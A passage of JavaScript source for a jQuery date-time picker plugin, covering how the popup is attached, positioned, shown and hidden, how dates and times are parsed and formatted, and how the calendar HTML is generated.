return e.ctrlKey || (chr < ' ' || !chars || chars.indexOf(chr) > -1);
},
/* Attach the date picker to an input field. */
_connectDatepicker: function(target, inst) {
var input = $(target);
if (input.is('.' + this.markerClassName))
return;
var appendText = inst._get('appendText');
var isRTL = inst._get('isRTL');
if (appendText) {
if (isRTL)
input.before('<span class="datetimepicker_append">' + appendText);
else
input.after('<span class="datetimepicker_append">' + appendText);
}
var showOn = inst._get('showOn');
if (showOn == 'focus' || showOn == 'both') // pop-up date picker when in the marked field
input.focus(this._showDatepicker);
if (showOn == 'button' || showOn == 'both') { // pop-up date picker when button clicked
input.wrap('<span class="datetimepicker_wrap">');
var buttonText = inst._get('buttonText');
var buttonImage = inst._get('buttonImage');
var trigger = $(inst._get('buttonImageOnly') ?
$('<img>').addClass('datetimepicker_trigger').attr({ src: buttonImage, alt: buttonText, title: buttonText }) :
$('<button>').addClass('datetimepicker_trigger').attr({ type: 'button' }).html(buttonImage != '' ?
$('<img>').attr({ src:buttonImage, alt:buttonText, title:buttonText }) : buttonText));
if (isRTL)
input.before(trigger);
else
input.after(trigger);
trigger.click(function() {
if ($.datetimepicker._datetimepickerShowing && $.datetimepicker._lastInput == target)
$.datetimepicker._hideDatepicker();
else
$.datetimepicker._showDatepicker(target);
});
}
input.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress)
.bind("setData.datetimepicker", function(event, key, value) {
inst._settings[key] = value;
}).bind("getData.datetimepicker", function(event, key) {
return inst._get(key);
});
input[0]._calId = inst._id;
},
/* Attach an inline date picker to a div. */
_inlineDatepicker: function(target, inst) {
var input = $(target);
if (input.is('.' + this.markerClassName))
return;
input.addClass(this.markerClassName).append(inst._datetimepickerDiv)
.bind("setData.datetimepicker", function(event, key, value){
inst._settings[key] = value;
}).bind("getData.datetimepicker", function(event, key){
return inst._get(key);
});
input[0]._calId = inst._id;
this._updateDatepicker(inst);
},
/* Tidy up after displaying the date picker. */
_inlineShow: function(inst) {
var numMonths = inst._getNumberOfMonths(); // fix width for dynamic number of date pickers
inst._datetimepickerDiv.width(numMonths[1] * $('.datetimepicker', inst._datetimepickerDiv[0]).width());
},
/* Pop-up the date picker in a "dialog" box.
@param input element - ignored
@param dateText string - the initial date to display (in the current format)
@param onSelect function - the function(dateText) to call when a date is selected
@param settings object - update the dialog date picker instance's settings (anonymous object)
@param pos int[2] - coordinates for the dialog's position within the screen or
event - with x/y coordinates or
leave empty for default (screen centre)
@return the manager object */
_dialogDatepicker: function(input, dateText, onSelect, settings, pos) {
var inst = this._dialogInst; // internal instance
if (!inst) {
inst = this._dialogInst = new DateTimepickerInstance({}, false);
this._dialogInput = $('<input type="text" size="1" style="position: absolute; top: -100px;"/>');
this._dialogInput.keydown(this._doKeyDown);
$('body').append(this._dialogInput);
this._dialogInput[0]._calId = inst._id;
}
extendRemove(inst._settings, settings || {});
this._dialogInput.val(dateText);
this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
if (!this._pos) {
var browserWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
var browserHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
var scrollY = document.documentElement.scrollTop || document.body.scrollTop;
this._pos = // should use actual width/height below
[(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];
}
// move input on screen for focus, but hidden behind dialog
this._dialogInput.css('left', this._pos[0] + 'px').css('top', this._pos[1] + 'px');
inst._settings.onSelect = onSelect;
this._inDialog = true;
this._datetimepickerDiv.addClass('datetimepicker_dialog');
this._showDatepicker(this._dialogInput[0]);
if ($.blockUI)
$.blockUI(this._datetimepickerDiv);
return this;
},
/* Pop-up the date picker for a given input field.
@param input element - the input field attached to the date picker or
event - if triggered by focus */
_showDatepicker: function(input) {
input = input.target || input;
if (input.nodeName.toLowerCase() != 'input') // find from button/image trigger
input = $('input', input.parentNode)[0];
if ($.datetimepicker._isDisabledDatepicker(input) || $.datetimepicker._lastInput == input) // already here
return;
var inst = $.datetimepicker._getInst(input._calId);
var beforeShow = inst._get('beforeShow');
extendRemove(inst._settings, (beforeShow ? beforeShow.apply(input, [input, inst]) : {}));
$.datetimepicker._hideDatepicker(null, '');
$.datetimepicker._lastInput = input;
inst._setDateFromField(input);
if ($.datetimepicker._inDialog) // hide cursor
input.value = '';
if (!$.datetimepicker._pos) { // position below input
$.datetimepicker._pos = $.datetimepicker._findPos(input);
$.datetimepicker._pos[1] += input.offsetHeight; // add the height
}
var isFixed = false;
$(input).parents().each(function() {
isFixed |= $(this).css('position') == 'fixed';
});
if (isFixed && $.browser.opera) { // correction for Opera when fixed and scrolled
$.datetimepicker._pos[0] -= document.documentElement.scrollLeft;
$.datetimepicker._pos[1] -= document.documentElement.scrollTop;
}
inst._datetimepickerDiv.css('position', ($.datetimepicker._inDialog && $.blockUI ?
'static' : (isFixed ? 'fixed' : 'absolute')))
.css({ left: $.datetimepicker._pos[0] + 'px', top: $.datetimepicker._pos[1] + 'px' });
$.datetimepicker._pos = null;
inst._rangeStart = null;
$.datetimepicker._updateDatepicker(inst);
if (!inst._inline) {
var speed = inst._get('speed');
var postProcess = function() {
$.datetimepicker._datetimepickerShowing = true;
$.datetimepicker._afterShow(inst);
};
var showAnim = inst._get('showAnim') || 'show';
inst._datetimepickerDiv[showAnim](speed, postProcess);
if (speed == '')
postProcess();
if (inst._input[0].type != 'hidden')
inst._input[0].focus();
$.datetimepicker._curInst = inst;
}
},
/* Generate the date picker content. */
_updateDatepicker: function(inst) {
inst._datetimepickerDiv.empty().append(inst._generateDatepicker());
var numMonths = inst._getNumberOfMonths();
if (numMonths[0] != 1 || numMonths[1] != 1)
inst._datetimepickerDiv.addClass('datetimepicker_multi');
else
inst._datetimepickerDiv.removeClass('datetimepicker_multi');
if (inst._get('isRTL'))
inst._datetimepickerDiv.addClass('datetimepicker_rtl');
else
inst._datetimepickerDiv.removeClass('datetimepicker_rtl');
if (inst._input && inst._input[0].type != 'hidden')
$(inst._input[0]).focus();
},
/* Tidy up after displaying the date picker. */
_afterShow: function(inst) {
var numMonths = inst._getNumberOfMonths(); // fix width for dynamic number of date pickers
inst._datetimepickerDiv.width(numMonths[1] * $('.datetimepicker', inst._datetimepickerDiv[0])[0].offsetWidth);
if ($.browser.msie && parseInt($.browser.version) < 7) { // fix IE < 7 select problems
$('iframe.datetimepicker_cover').css({width: inst._datetimepickerDiv.width() + 4,
height: inst._datetimepickerDiv.height() + 4});
}
// re-position on screen if necessary
var isFixed = inst._datetimepickerDiv.css('position') == 'fixed';
var pos = inst._input ? $.datetimepicker._findPos(inst._input[0]) : null;
var browserWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
var browserHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
var scrollX = (isFixed ? 0 : document.documentElement.scrollLeft || document.body.scrollLeft);
var scrollY = (isFixed ? 0 : document.documentElement.scrollTop || document.body.scrollTop);
// reposition date picker horizontally if outside the browser window
if ((inst._datetimepickerDiv.offset().left + inst._datetimepickerDiv.width() -
(isFixed && $.browser.msie ? document.documentElement.scrollLeft : 0)) >
(browserWidth + scrollX)) {
inst._datetimepickerDiv.css('left', Math.max(scrollX,
pos[0] + (inst._input ? $(inst._input[0]).width() : null) - inst._datetimepickerDiv.width() -
(isFixed && $.browser.opera ? document.documentElement.scrollLeft : 0)) + 'px');
}
// reposition date picker vertically if outside the browser window
if ((inst._datetimepickerDiv.offset().top + inst._datetimepickerDiv.height() -
(isFixed && $.browser.msie ? document.documentElement.scrollTop : 0)) >
(browserHeight + scrollY) ) {
inst._datetimepickerDiv.css('top', Math.max(scrollY,
pos[1] - (this._inDialog ? 0 : inst._datetimepickerDiv.height()) -
(isFixed && $.browser.opera ? document.documentElement.scrollTop : 0)) + 'px');
}
},
/* Find an object's position on the screen. */
_findPos: function(obj) {
while (obj && (obj.type == 'hidden' || obj.nodeType != 1)) {
obj = obj.nextSibling;
}
var position = $(obj).offset();
return [position.left, position.top];
},
/* Hide the date picker from view.
@param input element - the input field attached to the date picker
@param speed string - the speed at which to close the date picker */
_hideDatepicker: function(input, speed) {
var inst = this._curInst;
if (!inst)
return;
var rangeSelect = inst._get('rangeSelect');
if (rangeSelect && this._stayOpen) {
this._selectDate(inst, inst._formatDateTime(
inst._currentDay, inst._currentMonth, inst._currentYear, inst._currentHour, inst.currentMinute));
}
this._stayOpen = false;
if (this._datetimepickerShowing) {
speed = (speed != null ? speed : inst._get('speed'));
var showAnim = inst._get('showAnim');
inst._datetimepickerDiv[(showAnim == 'slideDown' ? 'slideUp' :
(showAnim == 'fadeIn' ? 'fadeOut' : 'hide'))](speed, function() {
$.datetimepicker._tidyDialog(inst);
});
if (speed == '')
this._tidyDialog(inst);
var onClose = inst._get('onClose');
if (onClose) {
onClose.apply((inst._input ? inst._input[0] : null),
[inst._getDate(), inst]); // trigger custom callback
}
this._datetimepickerShowing = false;
this._lastInput = null;
inst._settings.prompt = null;
if (this._inDialog) {
this._dialogInput.css({ position: 'absolute', left: '0', top: '-100px' });
if ($.blockUI) {
$.unblockUI();
$('body').append(this._datetimepickerDiv);
}
}
this._inDialog = false;
}
this._curInst = null;
},
/* Tidy up after a dialog display. */
_tidyDialog: function(inst) {
inst._datetimepickerDiv.removeClass('datetimepicker_dialog').unbind('.datetimepicker');
$('.datetimepicker_prompt', inst._datetimepickerDiv).remove();
},
/* Close date picker if clicked elsewhere. */
_checkExternalClick: function(event) {
if (!$.datetimepicker._curInst)
return;
var $target = $(event.target);
if (($target.parents("#datetimepicker_div").length == 0) &&
($target.attr('class') != 'datetimepicker_trigger') &&
$.datetimepicker._datetimepickerShowing && !($.datetimepicker._inDialog && $.blockUI)) {
$.datetimepicker._hideDatepicker(null, '');
}
},
/* Adjust one of the date sub-fields. */
_adjustDate: function(id, offset, period) {
var inst = this._getInst(id);
inst._adjustDate(offset, period);
this._updateDatepicker(inst);
},
/* Action for current link. */
_gotoToday: function(id) {
var date = new Date();
var inst = this._getInst(id);
inst._selectedDay = date.getDate();
inst._drawMonth = inst._selectedMonth = date.getMonth();
inst._drawYear = inst._selectedYear = date.getFullYear();
inst._drawHour = inst._selectedHour = date.getHours();
inst._drawMinute = inst._selectedMinute = date.getMinutes();
this._adjustDate(inst);
},
/* Action for selecting a new month/year. */
_selectMonthYear: function(id, select, period) {
var inst = this._getInst(id);
inst._selectingMonthYear = false;
inst[period == 'M' ? '_drawMonth' : '_drawYear'] =
select.options[select.selectedIndex].value - 0;
this._adjustDate(inst);
},
_selectTime: function(id, select, period) {
var inst = this._getInst(id);
inst._selectingMonthYear = false;
inst[period == 'M' ? '_drawMinute' : '_drawHour'] =
select.options[select.selectedIndex].value - 0;
this._adjustDate(inst);
this._doNotHide = true;
$('td.datetimepicker_currentDay').each(function(){
$.datetimepicker._selectDay(inst, inst._selectedMonth, inst._selectedYear,$(this));
});
this._doNotHide = false;
},
/* Restore input focus after not changing month/year. */
_clickMonthYear: function(id) {
var inst = this._getInst(id);
if (inst._input && inst._selectingMonthYear && !$.browser.msie)
inst._input[0].focus();
inst._selectingMonthYear = !inst._selectingMonthYear;
},
_clickTime: function(id) {
var inst = this._getInst(id);
if (inst._input && inst._selectingTime && !$.browser.msie)
inst._input[0].focus();
inst._selectingTime = !inst._selectingTime;
},
/* Action for changing the first week day. */
_changeFirstDay: function(id, day) {
var inst = this._getInst(id);
inst._settings.firstDay = day;
this._updateDatepicker(inst);
},
/* Action for selecting a day. */
_selectDay: function(id, month, year, td) {
if ($(td).is('.datetimepicker_unselectable'))
return;
var inst = this._getInst(id);
var rangeSelect = inst._get('rangeSelect');
if (rangeSelect) {
if (!this._stayOpen) {
$('.datetimepicker td').removeClass('datetimepicker_currentDay');
$(td).addClass('datetimepicker_currentDay');
}
this._stayOpen = !this._stayOpen;
}
inst._selectedDay = inst._currentDay = $('a', td).html();
inst._selectedMonth = inst._currentMonth = month;
inst._selectedYear = inst._currentYear = year;
inst._selectedHour = inst._currentHour = $('select.datetimepicker_newHour option:selected').val();
inst._selectedMinute = inst._currentMinute = $('select.datetimepicker_newMinute option:selected').val();
this._selectDate(id, inst._formatDateTime(
inst._currentDay, inst._currentMonth, inst._currentYear, inst._currentHour, inst._currentMinute));
if (this._stayOpen) {
inst._endDay = inst._endMonth = inst._endYear = null;
inst._rangeStart = new Date(inst._currentYear, inst._currentMonth, inst._currentDay);
this._updateDatepicker(inst);
}
else if (rangeSelect) {
inst._endDay = inst._currentDay;
inst._endMonth = inst._currentMonth;
inst._endYear = inst._currentYear;
inst._selectedDay = inst._currentDay = inst._rangeStart.getDate();
inst._selectedMonth = inst._currentMonth = inst._rangeStart.getMonth();
inst._selectedYear = inst._currentYear = inst._rangeStart.getFullYear();
inst._rangeStart = null;
if (inst._inline)
this._updateDatepicker(inst);
}
},
/* Erase the input field and hide the date picker. */
_clearDate: function(id) {
var inst = this._getInst(id);
if (inst._get('mandatory'))
return;
this._stayOpen = false;
inst._endDay = inst._endMonth = inst._endYear = inst._rangeStart = null;
this._selectDate(inst, '');
},
/* Update the input field with the selected date. */
_selectDate: function(id, dateStr) {
var inst = this._getInst(id);
dateStr = (dateStr != null ? dateStr : inst._formatDateTime());
if (inst._rangeStart)
dateStr = inst._formatDateTime(inst._rangeStart) + inst._get('rangeSeparator') + dateStr;
if (inst._input)
inst._input.val(dateStr);
var onSelect = inst._get('onSelect');
if (onSelect)
onSelect.apply((inst._input ? inst._input[0] : null), [dateStr, inst]); // trigger custom callback
else if (inst._input)
inst._input.trigger('change'); // fire the change event
if (inst._inline)
this._updateDatepicker(inst);
else if (!this._stayOpen) {
if (! this._doNotHide) {
this._hideDatepicker(null, inst._get('speed'));
this._lastInput = inst._input[0];
if (typeof(inst._input[0]) != 'object')
inst._input[0].focus(); // restore focus
this._lastInput = null;
}
}
},
/* Set as beforeShowDay function to prevent selection of weekends.
@param date Date - the date to customise
@return [boolean, string] - is this date selectable?, what is its CSS class? */
noWeekends: function(date) {
var day = date.getDay();
return [(day > 0 && day < 6), ''];
},
/* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
@param date Date - the date to get the week for
@return number - the number of the week within the year that contains this date */
iso8601Week: function(date) {
var checkDate = new Date(date.getFullYear(), date.getMonth(), date.getDate(), (date.getTimezoneOffset() / -60));
var firstMon = new Date(checkDate.getFullYear(), 1 - 1, 4); // First week always contains 4 Jan
var firstDay = firstMon.getDay() || 7; // Day of week: Mon = 1, ..., Sun = 7
firstMon.setDate(firstMon.getDate() + 1 - firstDay); // Preceding Monday
if (firstDay < 4 && checkDate < firstMon) { // Adjust first three days in year if necessary
checkDate.setDate(checkDate.getDate() - 3); // Generate for previous year
return $.datetimepicker.iso8601Week(checkDate);
} else if (checkDate > new Date(checkDate.getFullYear(), 12 - 1, 28)) { // Check last three days in year
firstDay = new Date(checkDate.getFullYear() + 1, 1 - 1, 4).getDay() || 7;
if (firstDay > 4 && (checkDate.getDay() || 7) < firstDay - 3) { // Adjust if necessary
checkDate.setDate(checkDate.getDate() + 3); // Generate for next year
return $.datetimepicker.iso8601Week(checkDate);
}
}
return Math.floor(((checkDate - firstMon) / 86400000) / 7) + 1; // Weeks to given date
},
/* Provide status text for a particular date.
@param date the date to get the status for
@param inst the current datetimepicker instance
@return the status display text for this date */
dateStatus: function(date, inst) {
return $.datetimepicker.formatDate(inst._get('dateStatus'), date, inst._getFormatConfig());
},
/* Parse a string value into a date object.
The format can be combinations of the following:
d - day of month (no leading zero)
dd - day of month (two digit)
D - day name short
DD - day name long
m - month of year (no leading zero)
mm - month of year (two digit)
M - month name short
MM - month name long
y - year (two digit)
yy - year (four digit)
'...' - literal text
'' - single quote
@param format String - the expected format of the date
@param value String - the date in the above format
@param settings Object - attributes include:
shortYearCutoff Number - the cutoff year for determining the century (optional)
dayNamesShort String[7] - abbreviated names of the days from Sunday (optional)
dayNames String[7] - names of the days from Sunday (optional)
monthNamesShort String[12] - abbreviated names of the months (optional)
monthNames String[12] - names of the months (optional)
@return Date - the extracted date value or null if value is blank */
parseDate: function (format, value, settings) {
if (format == null || value == null)
throw 'Invalid arguments';
value = (typeof value == 'object' ? value.toString() : value + '');
if (value == '')
return null;
var shortYearCutoff = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff;
var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
var year = -1;
var month = -1;
var day = -1;
var hour = -1;
var minute = -1;
var literal = false;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
// Extract a number from the string value
var getNumber = function(match) {
lookAhead(match);
var size = (match == 'y' ? 4 : 2);
var num = 0;
while (size > 0 && iValue < value.length &&
value.charAt(iValue) >= '0' && value.charAt(iValue) <= '9') {
num = num * 10 + (value.charAt(iValue++) - 0);
size--;
}
if (size == (match == 'y' ? 4 : 2))
throw 'Missing number at position ' + iValue;
return num;
};
// Extract a name from the string value and convert to an index
var getName = function(match, shortNames, longNames) {
var names = (lookAhead(match) ? longNames : shortNames);
var size = 0;
for (var j = 0; j < names.length; j++)
size = Math.max(size, names[j].length);
var name = '';
var iInit = iValue;
while (size > 0 && iValue < value.length) {
name += value.charAt(iValue++);
for (var i = 0; i < names.length; i++)
if (name == names[i])
return i + 1;
size--;
}
throw 'Unknown name at position ' + iInit;
};
// Confirm that a literal character matches the string value
var checkLiteral = function() {
if (value.charAt(iValue) != format.charAt(iFormat))
throw 'Unexpected literal at position ' + iValue;
iValue++;
};
var iValue = 0;
for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal)
if (format.charAt(iFormat) == "'" && !lookAhead("'"))
literal = false;
else
checkLiteral();
else
switch (format.charAt(iFormat)) {
case 'h':
hour = getNumber('h');
break;
case 'i':
minute = getNumber('i');
break;
case 'd':
day = getNumber('d');
break;
case 'D':
getName('D', dayNamesShort, dayNames);
break;
case 'm':
month = getNumber('m');
break;
case 'M':
month = getName('M', monthNamesShort, monthNames);
break;
case 'y':
year = getNumber('y');
break;
case "'":
if (lookAhead("'"))
checkLiteral();
else
literal = true;
break;
default:
checkLiteral();
}
}
if (year < 100) {
year += new Date().getFullYear() - new Date().getFullYear() % 100 +
(year <= shortYearCutoff ? 0 : -100);
}
var date = new Date(year, month - 1, day,hour,minute);
if (date.getFullYear() != year || date.getMonth() + 1 != month || date.getDate() != day) {
throw 'Invalid date'; // E.g. 31/02/*
}
return date;
},
/* Format a date object into a string value.
The format can be combinations of the following:
d - day of month (no leading zero)
dd - day of month (two digit)
D - day name short
DD - day name long
m - month of year (no leading zero)
mm - month of year (two digit)
M - month name short
MM - month name long
y - year (two digit)
yy - year (four digit)
'...' - literal text
'' - single quote
@param format String - the desired format of the date
@param date Date - the date value to format
@param settings Object - attributes include:
dayNamesShort String[7] - abbreviated names of the days from Sunday (optional)
dayNames String[7] - names of the days from Sunday (optional)
monthNamesShort String[12] - abbreviated names of the months (optional)
monthNames String[12] - names of the months (optional)
@return String - the date in the above format */
formatDate: function (format, date, settings) {
if (!date)
return '';
var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
// Format a number, with leading zero if necessary
var formatNumber = function(match, value) {
return (lookAhead(match) && value < 10 ? '0' : '') + value;
};
// Format a name, short or long as requested
var formatName = function(match, value, shortNames, longNames) {
return (lookAhead(match) ? longNames[value] : shortNames[value]);
};
var output = '';
var literal = false;
if (date) {
for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal)
if (format.charAt(iFormat) == "'" && !lookAhead("'"))
literal = false;
else
output += format.charAt(iFormat);
else
switch (format.charAt(iFormat)) {
case 'h':
output += formatNumber('h', date.getHours());
break;
case 'i':
output += formatNumber('i', date.getMinutes());
break;
case 'd':
output += formatNumber('d', date.getDate());
break;
case 'D':
output += formatName('D', date.getDay(), dayNamesShort, dayNames);
break;
case 'm':
output += formatNumber('m', date.getMonth() + 1);
break;
case 'M':
output += formatName('M', date.getMonth(), monthNamesShort, monthNames);
break;
case 'y':
output += (lookAhead('y') ? date.getFullYear() :
(date.getYear() % 100 < 10 ? '0' : '') + date.getYear() % 100);
break;
case "'":
if (lookAhead("'"))
output += "'";
else
literal = true;
break;
default:
output += format.charAt(iFormat);
}
}
}
return output;
},
/* Extract all possible characters from the date format. */
_possibleChars: function (format) {
var chars = '';
var literal = false;
for (var iFormat = 0; iFormat < format.length; iFormat++)
if (literal)
if (format.charAt(iFormat) == "'" && !lookAhead("'"))
literal = false;
else
chars += format.charAt(iFormat);
else
switch (format.charAt(iFormat)) {
case 'd' || 'm' || 'y':
chars += '0123456789';
break;
case 'D' || 'M':
return null; // Accept anything
case "'":
if (lookAhead("'"))
chars += "'";
else
literal = true;
break;
default:
chars += format.charAt(iFormat);
}
return chars;
}
});
/* Individualised settings for date picker functionality applied to one or more related inputs.
Instances are managed and manipulated through the Datepicker manager. */
function DateTimepickerInstance(settings, inline) {
this._id = $.datetimepicker._register(this);
this._selectedDay = 0; // Current date for selection
this._selectedMonth = 0; // 0-11
this._selectedYear = 0; // 4-digit year
this._drawMonth = 0; // Current month at start of datetimepicker
this._drawYear = 0;
this._drawHour = 0;
this._drawMinute = 0;
this._input = null; // The attached input field
this._inline = inline; // True if showing inline, false if used in a popup
this._datetimepickerDiv = (!inline ? $.datetimepicker._datetimepickerDiv :
$('<div id="datetimepicker_div_' + this._id + '" class="datetimepicker_inline">'));
// customise the date picker object - uses manager defaults if not overridden
this._settings = extendRemove(settings || {}); // clone
if (inline)
this._setDate(this._getDefaultDate());
}
$.extend(DateTimepickerInstance.prototype, {
/* Get a setting value, defaulting if necessary. */
_get: function(name) {
return this._settings[name] !== undefined ? this._settings[name] : $.datetimepicker._defaults[name];
},
/* Parse existing date and initialise date picker. */
_setDateFromField: function(input) {
this._input = $(input);
var dateFormat = this._get('dateFormat')+' '+this._get('timeFormat');
var dates = this._input ? this._input.val().split(this._get('rangeSeparator')) : null;
this._endDay = this._endMonth = this._endYear = null;
var date = defaultDate = this._getDefaultDate();
if (dates.length > 0) {
var settings = this._getFormatConfig();
if (dates.length > 1) {
date = $.datetimepicker.parseDate(dateFormat, dates[1], settings) || defaultDate;
this._endDay = date.getDate();
this._endMonth = date.getMonth();
this._endYear = date.getFullYear();
}
try {
date = $.datetimepicker.parseDate(dateFormat, dates[0], settings) || defaultDate;
} catch (e) {
$.datetimepicker.log(e);
date = defaultDate;
}
}
this._selectedDay = date.getDate();
this._drawMonth = this._selectedMonth = date.getMonth();
this._drawYear = this._selectedYear = date.getFullYear();
this._drawHour = this._selectedHour = date.getHours();
this._drawMinute = this._selectedMinute = date.getMinutes();
this._currentDay = (dates[0] ? date.getDate() : 0);
this._currentMonth = (dates[0] ? date.getMonth() : 0);
this._currentYear = (dates[0] ? date.getFullYear() : 0);
this._adjustDate();
},
/* Retrieve the default date shown on opening. */
_getDefaultDate: function() {
var date = this._determineDate('defaultDate', new Date());
var minDate = this._getMinMaxDate('min', true);
var maxDate = this._getMinMaxDate('max');
date = (minDate && date < minDate ? minDate : date);
date = (maxDate && date > maxDate ? maxDate : date);
return date;
},
/* A date may be specified as an exact value or a relative one. */
_determineDate: function(name, defaultDate) {
var offsetNumeric = function(offset) {
var date = new Date();
date.setDate(date.getDate() + offset);
return date;
};
var offsetString = function(offset, getDaysInMonth) {
var date = new Date();
var matches = /^([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?$/.exec(offset);
if (matches) {
var year = date.getFullYear();
var month = date.getMonth();
var day = date.getDate();
switch (matches[2] || 'd') {
case 'd' : case 'D' :
day += (matches[1] - 0); break;
case 'w' : case 'W' :
day += (matches[1] * 7); break;
case 'm' : case 'M' :
month += (matches[1] - 0);
day = Math.min(day, getDaysInMonth(year, month));
break;
case 'y': case 'Y' :
year += (matches[1] - 0);
day = Math.min(day, getDaysInMonth(year, month));
break;
}
date = new Date(year, month, day);
}
return date;
};
var date = this._get(name);
return (date == null ? defaultDate :
(typeof date == 'string' ? offsetString(date, this._getDaysInMonth) :
(typeof date == 'number' ? offsetNumeric(date) : date)));
},
/* Set the date(s) directly. */
_setDate: function(date, endDate) {
this._selectedDay = this._currentDay = date.getDate();
this._drawMonth = this._selectedMonth = this._currentMonth = date.getMonth();
this._drawYear = this._selectedYear = this._currentYear = date.getFullYear();
this._drawHour = this._selectedHour = this._currentHour = date.getHours();
this._drawMinute = this._selectedMinute = this._currentMinute = date.getMinutes();
if (this._get('rangeSelect')) {
if (endDate) {
this._endDay = endDate.getDate();
this._endMonth = endDate.getMonth();
this._endYear = endDate.getFullYear();
} else {
this._endDay = this._currentDay;
this._endMonth = this._currentMonth;
this._endYear = this._currentYear;
}
}
this._adjustDate();
},
/* Retrieve the date(s) directly. */
_getDate: function() {
var startDate = (!this._currentYear || (this._input && this._input.val() == '') ? null :
new Date(this._currentYear, this._currentMonth, this._currentDay));
if (this._get('rangeSelect')) {
return [startDate, (!this._endYear ? null :
new Date(this._endYear, this._endMonth, this._endDay))];
} else
return startDate;
},
/* Generate the HTML for the current state of the date picker. */
_generateDatepicker: function() {
var today = new Date();
today = new Date(today.getFullYear(), today.getMonth(), today.getDate()); // clear time
var showStatus = this._get('showStatus');
var isRTL = this._get('isRTL');
// build the date picker HTML
var clear = (this._get('mandatory') ? '' :
'<div class="datetimepicker_clear"><a onclick="jQuery.datetimepicker._clearDate(' + this._id + ');"' +
(showStatus ? this._addStatus(this._get('clearStatus') || ' ') : '') + '>' +
this._get('clearText') + '</a></div>');
var controls = '<div class="datetimepicker_control">' + (isRTL ? '' : clear) +
'<div class="datetimepicker_close"><a onclick="jQuery.datetimepicker._hideDatepicker();"' +
(showStatus ? this._addStatus(this._get('closeStatus') || ' ') : '') + '>' +
this._get('closeText') + '</a></div>' + (isRTL ? clear : '') + '</div>';
var prompt = this._get('prompt');
var closeAtTop = this._get('closeAtTop');
var hideIfNoPrevNext = this._get('hideIfNoPrevNext');
var numMonths = this._getNumberOfMonths();
var stepMonths = this._get('stepMonths');
var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);
var minDate = this._getMinMaxDate('min', true);
var maxDate = this._getMinMaxDate('max');
var drawMonth = this._drawMonth;
var drawYear = this._drawYear;
var drawHour = this._drawHour;
var drawMinute = this._drawMinute;
if (maxDate) {
var maxDraw = new Date(maxDate.getFullYear(),
maxDate.getMonth() - numMonths[1] + 1, maxDate.getDate());
maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
while (new Date(drawYear, drawMonth, 1) > maxDraw) {
drawMonth--;
if (drawMonth < 0) {
drawMonth = 11;
drawYear--;
}
}
}
// controls and links
var prev = '<div class="datetimepicker_prev">' + (this._canAdjustMonth(-1, drawYear, drawMonth) ?
'<a onclick="jQuery.datetimepicker._adjustDate(' + this._id + ', -' + stepMonths + ', \'M\');"' +
(showStatus ? this._addStatus(this._get('prevStatus') || ' ') : '') + '>' +
this._get('prevText') + '</a>' :
(hideIfNoPrevNext ? '' : '<label>' + this._get('prevText') + '</label>')) + '</div>';
var next = '<div class="datetimepicker_next">' + (this._canAdjustMonth(+1, drawYear, drawMonth) ?
'<a onclick="jQuery.datetimepicker._adjustDate(' + this._id + ', +' + stepMonths + ', \'M\');"' +
(showStatus ? this._addStatus(this._get('nextStatus') || ' ') : '') + '>' +
this._get('nextText') + '</a>' :
(hideIfNoPrevNext ? '>' : '<label>' + this._get('nextText') + '</label>')) + '</div>';
var html = (prompt ? '<div class="datetimepicker_prompt">' + prompt + '</div>' : '') +
(closeAtTop && !this._inline ? controls : '') +
'<div class="datetimepicker_links">' + (isRTL ? next : prev) +
(this._isInRange(today) ? '<div class="datetimepicker_current">' +
'<a onclick="jQuery.datetimepicker._gotoToday(' + this._id + ');"' +
(showStatus ? this._addStatus(this._get('currentStatus') || ' ') : '') + '>' +
this._get('currentText') + '</a></div>' : '') + (isRTL ? prev : next) + '</div>';
var showWeeks = this._get('showWeeks');
for (var row = 0; row < numMonths[0]; row++)
for (var col = 0; col < numMonths[1]; col++) {
var selectedDate = new Date(drawYear, drawMonth, this._selectedDay, drawHour, drawMinute);
html += '<div class="datetimepicker_oneMonth' + (col == 0 ? ' datetimepicker_newRow' : '') + '">' +
this._generateMonthYearHeader(drawMinute,drawHour,drawMonth, drawYear, minDate, maxDate,
selectedDate, row > 0 || col > 0) + // draw month headers
'<table class="datetimepicker" cellpadding="0" cellspacing="0"><thead>' +
'<tr class="datetimepicker_titleRow">' +
(showWeeks ? '<td>' + this._get('weekHeader') + '</td>' : '');
var firstDay = this._get('firstDay');
var changeFirstDay = this._get('changeFirstDay');
var dayNames = this._get('dayNames');
var dayNamesShort = this._get('dayNamesShort');
var dayNamesMin = this._get('dayNamesMin');
for (var dow = 0; dow < 7; dow++) { // days of the week
var day = (dow + firstDay) % 7;
var status = this._get('dayStatus') || ' ';
status = (status.indexOf('DD') > -1 ? status.replace(/DD/, dayNames[day]) :
status.replace(/D/, dayNamesShort[day]));
